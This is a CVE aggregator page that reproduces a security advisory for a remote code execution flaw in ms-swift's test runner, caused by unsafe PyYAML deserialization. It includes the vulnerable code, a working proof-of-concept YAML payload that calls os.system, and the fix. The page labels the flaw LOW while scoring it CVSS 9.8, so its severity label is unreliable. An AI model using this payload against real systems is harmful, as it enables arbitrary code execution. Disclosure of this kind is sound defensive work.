CVE-2025-50460 — Vulnerability in ms-swift — CVE Details
LOW
MS SWIFT Remote Code Execution via unsafe PyYAML deserialization
Published July 31, 2025Updated July 7, 2026Source: osv
Summary
## Description
A Remote Code Execution (RCE) vulnerability exists in the [modelscope/ms-swift](https://github.com/modelscope/ms-swift) project due to unsafe use of `yaml.load()` in combination with vulnerable versions of the PyYAML library (≤ 5.3.1). The issue resides in the `tests/run.py` script, where a user-supplied YAML configuration file is deserialized using `yaml.load()` with `yaml.FullLoader`.
If an attacker can control or replace the YAML configuration file provided to the `--run_config` argument, they may inject a malicious payload that results in arbitrary code execution.
## Affected Repository
- **Project:** [modelscope/ms-swift](https://github.com/modelscope/ms-swift)
- **Affect versions:** latest
- **File:** `tests/run.py`
- **GitHub Permalink:** https://github.com/modelscope/ms-swift/blob/e02ebfdf34f979bbdba9d935acc1689f8d227b38/tests/run.py#L420
- **Dependency:** PyYAML <= 5.3.1
## Vulnerable Code
```python
if args.run_config is not None and Path(args.run_config).exists():
with open(args.run_config, encoding='utf-8') as f:
run_config = yaml.load(f, Loader=yaml.FullLoader)
```
## Proof of Concept (PoC)
### Step 1: Create malicious YAML file (`exploit.yaml`)
```yaml
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('mkdir HACKED')"
```
### Step 2: Execute with vulnerable PyYAML (<= 5.3.1)
```python
import yaml
with open("exploit.yaml", "r") as f:
cfg = yaml.load(f, Loader=yaml.FullLoader)
```
This results in execution of `os.system`, proving code execution.
## Mitigation
* Replace `yaml.load()` with `yaml.safe_load()`
* Upgrade PyYAML to version 5.4 or later
### Example Fix:
```python
# Before
yaml.load(f, Loader=yaml.FullLoader)
# After
yaml.safe_load(f)
```
## Author
* Discovered by: Yu Rong (戎誉) and Hao Fan (凡浩)
* Contact: *\[[anchor.rongyu020221@gmail.com](mailto:anchor.rongyu020221@gmail.com)]*
Advisory Timeline
- First published July 31, 2025 (438 days ago).
- Last revised July 7, 2026 — 341 days after initial publication.
Affected Packages (1)
Affects 1 ecosystem: pypi (1).
| Package | Ecosystem | Affected | Fixed In |
|---|---|---|---|
| ms-swift | pypi | 1.0.0, 1.1.0, 1.2.0, 1.2.1 (+80 more) | Range-based data available |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-502Deserialization of Untrusted DataMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
References
- https://github.com/modelscope/ms-swift/security/advisories/GHSA-fm6c-f59h-7mmgWEB
- https://nvd.nist.gov/vuln/detail/CVE-2025-50460ADVISORY
- https://github.com/modelscope/ms-swift/pull/5174WEB
- https://github.com/modelscope/ms-swift/commit/b3418ed9b050dc079553c275c5ed14cfb2b66cf7WEB
- https://github.com/Anchor0221/CVE-2025-50460WEB
- https://github.com/advisories/GHSA-6757-jp84-gxfxADVISORY
- https://github.com/modelscope/ms-swiftPACKAGE
- https://github.com/modelscope/ms-swift/blob/main/tests/run.py#L420WEB
Frequently Asked Questions
- What is CVE-2025-50460?
- MS SWIFT Remote Code Execution via unsafe PyYAML deserialization This vulnerability has been assigned a severity rating of LOW (CVSS score: 9.8/10).
- How do I check if my project is affected by CVE-2025-50460?
- CVE-2025-50460 affects ms-swift. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2025-50460 and 200,000+ other known vulnerabilities.
Severity & Exploitability
CVSS Score
9.8
Exploitation is straightforward and causes maximum impact. Patch immediately.
Also Known As
GHSA-fm6c-f59h-7mmg
PYSEC-2026-1683
Related CVEs
- CVE-2024-39689LOW
Certifi removes GLOBALTRUST root certificate
- CVE-2024-53947LOW
Apache Superset: Improper SQL authorisation, parse not checking for specific postgres functions
Check if you're affected
Scan your dependencies to see if this vulnerability affects your projects.
Scan Your Dependencies